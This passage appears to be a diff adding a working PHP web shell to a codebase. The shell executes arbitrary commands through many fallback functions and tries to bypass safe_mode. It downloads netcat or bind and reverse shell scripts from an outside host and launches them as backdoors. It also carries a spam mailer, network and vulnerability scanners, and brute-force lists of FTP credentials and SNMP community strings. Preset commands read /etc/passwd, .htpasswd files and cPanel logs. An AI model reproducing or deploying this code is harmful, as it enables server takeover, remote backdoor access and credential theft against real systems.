+if(is_dir($af) && is_writable($af))return $af; +if(is_dir($se) && is_writable($se))return $se; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return '.'; +} +function shelL($command){ +global $windows; +$exec=$output=''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} +elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} +elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;} +elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command); +elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} +elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);} +elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command); +elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command); +elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws); +return $exec; +} +function downloadiT($get,$put){ +$fo=strtolower(ini_get('allow_url_fopen')); +if($fo || $fo=='on')$con=file_get_contents($get); +else{ +$u=parse_url($get); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$url=fsockopen($host,80,$en,$es,12); +fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function winshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +win_shell_execute('cmd.exe','',"/C $command >\"$name\""); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function srvshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$n=uniqid('NJ'); +$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; +win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); +win32_start_service($n); +win32_stop_service($n); +win32_delete_service($n); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function comshelL($command,$ws){ +$exec=$ws->exec ("cmd.exe /c $command"); +$so=$exec->StdOut(); +return $so->ReadAll(); +} +function smtpchecK($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function mysqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mysql_connect')){ +$l=mysql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function mssqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mssql_connect')){ +$l=mssql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function checksmtP($host,$timeout){ +$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com'; +$sock=fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: <darkdivision@ymail.com>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function replace_stR($s,$h){ +$ret=$h; +foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret); +return $ret; +} +function check_urL($url,$method,$search='200',$timeout=3){ +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=fsockopen($host,80,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;} +while(!feof($sock)){ +$res=fgets($sock); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=uniqid('NJ'); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n; +$sock=fsockopen("udp://$ip",161); +if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout); +fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +if($res != '')return 1;else return 0; +} +$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF'; +if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');} +$disablefunctions=ini_get('disable_functions'); +function brshelL(){ +global $errorbox,$windows,$et,$hcwd; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://netjackal.by.ru/br'; +$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; +$n=uniqid('NJ_'); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$c=($_REQUEST['C'])?1:0; +if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winbind.p",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $port &"); +echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>"; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winrc.p",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error;else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &"); +} +} +echo '<font color=blue>Done!</font>';} +else{echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='50%' bgcolor='#333333'>Bind shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=port value=55501 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input type=submit class=buttons value=Bind></form>$et</td><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='40%' bgcolor='#333333'>Reverse shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#808080'>IP:</td><td bgcolor='#808080'><input type=text name=ip value=";echo $_SERVER['REMOTE_ADDR'];echo " size=17></td></tr><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=rport value=53 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et$et";}} +function showimagE($img){ +echo "<center><img border=0 src='".hlinK("imagE=$img&&workingdiR=".getcwd())."'></center>";} +function editoR($file){ +global $errorbox,$et,$hcwd,$cwd; +if(is_file($file)){ +if(!is_readable($file)){echo "$errorbox File is not readable$et<br>";} +if(!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";} +$data=file_get_contents($file); +echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'>$hcwd<input type=text value='".htmlspecialchars($file)."' size=75 name=file><input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='64'>"; +echo htmlspecialchars($data); +echo "</textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$file' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>"; +} +else {echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'><input type=text value='$cwd' size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='63'></textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$cwd' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>"; +} +echo "$hcwd<input type=submit class=buttons name=Save value=Save></form>$et</center>"; +} +function webshelL(){ +global $windows,$hcwd,$et,$cwd; +if($windows){ +$alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>"; +} +else{ +$alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>"; +if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>"; +if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>"; +} +echo "<center><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><form method='POST'><tr><td width='20%'><b>Location:</b><input type=text name=workingdiR size=82 value='$cwd'><input class=buttons type=submit value=Change></form>$et<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><tr><td><b>Web Shell:</b></td></tr><td bgcolor='#666666'><textarea rows='23' cols='79'>"; +if(!empty($_REQUEST['cmd']))echo shelL($_REQUEST['cmd']); +echo"</textarea></td></tr><form method=post><tr><td bgcolor='#808080'><input type=text size=91 name=cmd value='";if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo "'>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor='#808080'><select name='cmd' width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></form>$et</table><center>"; +} +function maileR(){ +global $msgbox,$et,$hcwd; +if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +if(mail($to,$subject,$body,"From: $from"))echo "$msgbox<b>Mail sent!</b><br>$et"; +} +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'><td><b>Mailer:</b></td></tr><td width='20%' bgcolor='#666666'>SMTP</td><td bgcolor='#666666'>".ini_get('SMTP').' ('.ini_get('smtp_port').")</td></tr><tr><td bgcolor='#808080'>From:</td><td bgcolor='#808080'><input name=from type=text value='evil@hell.gov' size=55>$hcwd</td><tr><td width='25%' bgcolor='#666666'>To:</td><td bgcolor='#666666'><input name=to type=text value='";if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo "' size=55></td></tr><tr><td bgcolor='#808080'>Subject:</td><td bgcolor='#808080'><input name=subject type=text value='' size=55></td><tr><td bgcolor='#666666'>Body:</td><td bgcolor='#666666'><textarea rows='18' cols='43' name=body></textarea></td></tr><tr><td width='10%' bgcolor='#808080'></td><td bgcolor='#808080' align='right'><input type=submit class=buttons value=Send></form>$et"; +} +function scanneR(){ +global $hcwd,$et; +if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1'; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0; +echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br>'; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if(checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=''; +if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')'; +echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";} +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +} +elseif(!empty($_REQUEST['securityscanner'])){ +echo '<font color=blue>'; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f=substr($from,strrpos($from,'.')+1); +$from=substr($from,0,strrpos($from,'.')); +if(!empty($_REQUEST['httpscanner'])){ +echo 'Loading webserver bug list...'; +$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL'); +$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>'; +}else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:<br><br>";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;} +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port; +$open=$ser=''; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if($scan){ +$ser=''; +if($ser=getservbyport($po,'tcp'))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open<br>";$output=1;} + +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo 'Unknow'; +else echo $res; +echo '<br>'; +$output=1; +} +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@ADMINDIRS')) +foreach($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@USERS')) +foreach($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@NUKE')) +foreach($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;} +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=''; +if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com; +foreach($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms.=" $v "; +} +if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} +} +} +if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=ftp_connect($ip,21,$timeout); +if($ftp){ +if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";} +} +} +} +} +if($output)echo '<hr size=1 noshade>'; +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +if(!empty($buglist))unlink($buglist); +} +elseif(!empty($_REQUEST['directoryscanner'])){ +$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1']; +echo "<font color=blue><pre>Tahap Scanning Dimulai ...\n"; +for($i=0;$i<count($dir);$i++){ +$d=trim($dir[$i]); +if($r){ +$adr="http://$host/$d/"; +if(check_urL($adr,'GET','302')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";} +}else{ +$adr="$d.$host"; +$ip=gethostbyname($adr); +if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";} +} +} +echo 'Done!</pre></font>'; +} +else{ +$t="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'"; +$chbox=(extension_loaded('sockets'))?"<input type=checkbox style='border-width:1px;background-color:#808080;' name=tcp value=1 checked>TCP<input type=checkbox name=udp style='border-width:1px;background-color:#808080;' value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; +echo "<center>$t><td>Port scanner:</td></tr><td width='25%' bgcolor='#808080'>Target:</td><td bgcolor='#808080' width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor='#666666' width=25%>From:</td><td bgcolor='#666666' width=25%><input name=fromport type=text value='1' size=5></td></tr><tr><td bgcolor='#808080' width=25%>To:</td><td bgcolor='#808080' width=25%><input name=toport type=text value='1024' size=5></td></tr><tr><td width='25%' bgcolor='#666666'>Timeout:</td><td bgcolor='#666666'><input name=timeout type=text value='2' size=5></td><tr><td width='25%' bgcolor='#808080'>$chbox</td><td bgcolor='#808080' align='right'>$hcwd<input type=submit class=buttons name=portscanner value=Scan></form>$et$t><td>Discoverer:</td></tr><tr><td width='25%' bgcolor='#808080'>Host:</td><td bgcolor='#808080' width=80%><input name=host value='".$_SERVER["HTTP_HOST"]."' size=40></td><td bgcolor='#808080'></td></tr><tr><td width='25%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width=80%><input name=dic size=40></td><td bgcolor='#666666'></td></tr><tr><td width='25%' bgcolor='#808080'>Search for:</td><td bgcolor='#808080' width=40%><input type=radio value=1 checked name=r1>Directories<input type=radio name=r1 value=0>Subdomains</td><td bgcolor='#808080' align='right' width=40%><input type=submit class=buttons name=directoryscanner value=Scan></td></form></tr></table>"; +$host=substr($host,0,strrpos($host,".")); +echo "$t name=security><td>Security scanner:</td></tr><td width='25%' bgcolor='#808080'>From:</td><td bgcolor='#808080' width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style='border-width:1px;background-color:#808080;' name=nslookup checked>NS lookup</td></tr><tr><td bgcolor='#666666' width=25%>To:</td><td bgcolor='#666666' width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width='25%' bgcolor='#808080'>Timeout:</td><td bgcolor='#808080'><input name=timeout type=text value='2' size=5></td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ipscanner value=1 checked onClick='document.security.port.disabled = !document.security.port.disabled;' style='border-width:1px;background-color:#666666;'>Port scanner:</td><td bgcolor='#666666'><input name=port type=text value='21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=httpbanner value=1 checked style='border-width:1px;background-color:#808080;'>Get web banner</td><td bgcolor='#808080'><input type=checkbox name=httpscanner value=1 checked style='border-width:1px;background-color:#808080;'>Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style='border-width:1px;background-color:#808080;'>SMTP relay check</td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ftpscanner value=1 checked onClick='document.security.userpass.disabled = !document.security.userpass.disabled;' style='border-width:1px;background-color:#666666;'>FTP password:</td><td bgcolor='#666666'><input name=userpass type=text value='anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=snmpscanner value=1 onClick='document.security.com.disabled = !document.security.com.disabled;' checked style='border-width:1px;background-color:#808080;'>SNMP:</td><td bgcolor='#808080'><input name=com type=text value='public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes' size=60></td></tr><tr><td width='25%' bgcolor='#666666'></td><td bgcolor='#666666' align='right'><input type=submit class=buttons name=securityscanner value=Scan></form>$et"; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$cwd,$safemode; +$t8="<td width='25%' bgcolor='#808080'>"; +$t6="<td width='25%' bgcolor='#666666'>"; +$mil="<a target='_blank' href='http://www.milw0rm.org/related.php?program="; +$basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF'; +if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER']; +$osver=$tsize=$fsize=''; +if($windows){ +$osver=' ('.shelL('ver').')'; +$sysroot=shelL("echo %systemroot%"); +if(empty($sysroot))$sysroot=$_SERVER['SystemRoot']; +if(empty($sysroot))$sysroot = getenv('windir'); +if(empty($sysroot))$sysroot = 'Not Found'; +if(empty($CPU))$CPU=shelL("echo %PROCESSOR_IDENTIFIER%"); +for($i=66;$i<=90;$i++){ +$drive=chr($i).':\\'; +if(is_dir($drive)){ +$fsize+=disk_free_space($drive); +$tsize+=disk_total_space($drive); +} +} +}else{ +$fsize=disk_free_space('/'); +$tsize=disk_total_space('/'); +} +$disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize); +if(empty($CPU))$CPU='Unknow'; +$os=php_uname(); +$osn=php_uname('s'); +if(!$windows){ +$ker=php_uname('r'); +$o=($osn=='Linux')?'Linux+Kernel':$osn; +$os=str_replace($osn,"${mil}$o'>$osn</a>",$os); +$os=str_replace($ker,"${mil}Linux+Kernel'>$ker</a>",$os); +$inpa=':'; +}else{ +$sam=$sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os=str_replace($osn,"${mil}MS+Windows'>$osn</a>",$os); +} 